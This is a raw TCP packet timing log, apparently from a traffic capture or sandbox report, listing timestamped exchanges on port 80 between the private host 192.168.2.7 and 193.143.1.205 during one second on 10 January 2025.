Jan 10, 2025 22:23:37.776106119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.776289940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776315928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776384115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.792062044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810046911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810105085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810142040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810192108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810206890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810262918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810298920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810307980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810334921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810340881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810369968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810404062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810412884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810445070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810499907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810507059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810549974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810585976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810621023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810625076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810659885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810703993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810713053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810753107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810755968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810791969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810827017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810832024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810863018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810898066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810911894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.810931921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.810971975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.843784094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.843864918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.843898058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.843935966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.843957901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.843971968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844003916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844007015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844043016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844063997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844094992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844152927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844182014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844185114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844217062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844227076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844253063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844291925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844327927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844382048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844418049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844423056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844456911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844474077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844495058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844530106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844543934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844564915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844711065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844733953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844747066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844783068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844795942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844816923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844854116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844887972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844897985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844932079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.844966888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.844970942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845087051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845123053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845145941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845169067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845263958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845305920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845360041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845365047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845393896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845431089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845465899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845478058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845503092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845511913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845539093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845573902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845586061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845607996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845640898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845653057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.845676899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845716000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.845752954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846018076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846052885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846074104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846115112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846149921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846187115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846204042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846221924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846230030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846259117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846292973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846307993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846327066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846362114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846371889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846395969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846431971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846446037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846466064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846501112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846522093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846537113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846573114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846596956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846615076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846736908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846774101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846828938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846864939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.846875906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.846978903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847031116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847067118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847079039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.847100973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847125053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.847136021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847168922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847204924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847212076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.847239017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847274065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847281933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.847306967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847323895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.847358942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847393990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847404003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.847429037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847465992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.847477913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.849291086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.862552881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.862612963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.862648964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.862684965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.862720013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.862730026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.862778902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878279924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878339052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878398895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878437042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878456116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878472090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878487110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878509998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878545046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878556013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878580093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878613949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878649950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878660917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878684044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878720045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878730059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878752947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878788948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878801107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878825903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878859043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878873110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.878896952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.878943920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.896800995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896821976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896838903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896855116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896862030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.896872997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896888971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896895885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.896908998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896924973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896944046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.896958113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.896977901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.896991014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897047997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897063971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897080898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897097111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897106886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897114992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897129059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897140980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897146940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897162914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897166967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897187948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897202969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897202969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897243977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897245884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897263050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897279024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897295952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.897304058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897334099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.897358894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.909822941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.930598974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930684090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930691004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.930715084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930751085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930762053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.930788040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930823088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930875063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.930877924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930911064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930948019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.930958033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.930989981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.930998087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931031942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931066990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931077957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931102037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931154013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931189060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931197882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931221962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931267977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931274891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931308985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931325912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931368113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931401014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931437016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931472063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931474924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931474924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931507111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931557894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931593895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931602955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931627989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931663036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931673050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931708097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931715965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931772947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931807995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931818008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931843996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931878090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931889057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.931912899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.931967974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932007074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932019949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932041883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932075977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932085037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932117939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932126999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932161093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932193995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932229996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932236910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932264090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932297945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932310104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932332039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932341099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932375908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932410002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932418108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932446003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932480097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932492018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932517052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932552099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932584047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932586908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932622910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932660103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.932667017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.932801008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.937597990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937633038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937669992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937704086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937707901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.937758923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937793016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937803984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.937829018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937835932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.937865019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937922955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.937962055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.937995911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938030958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938045979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938066006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938100100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938133955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938142061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938167095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938201904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938208103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938235998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938242912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938271046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938306093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938311100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938340902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938376904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938380003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938410997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938446045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938479900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938487053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.938514948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938549995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.938555002 CET	49699	80	192.168.2.7	193.143.1.205
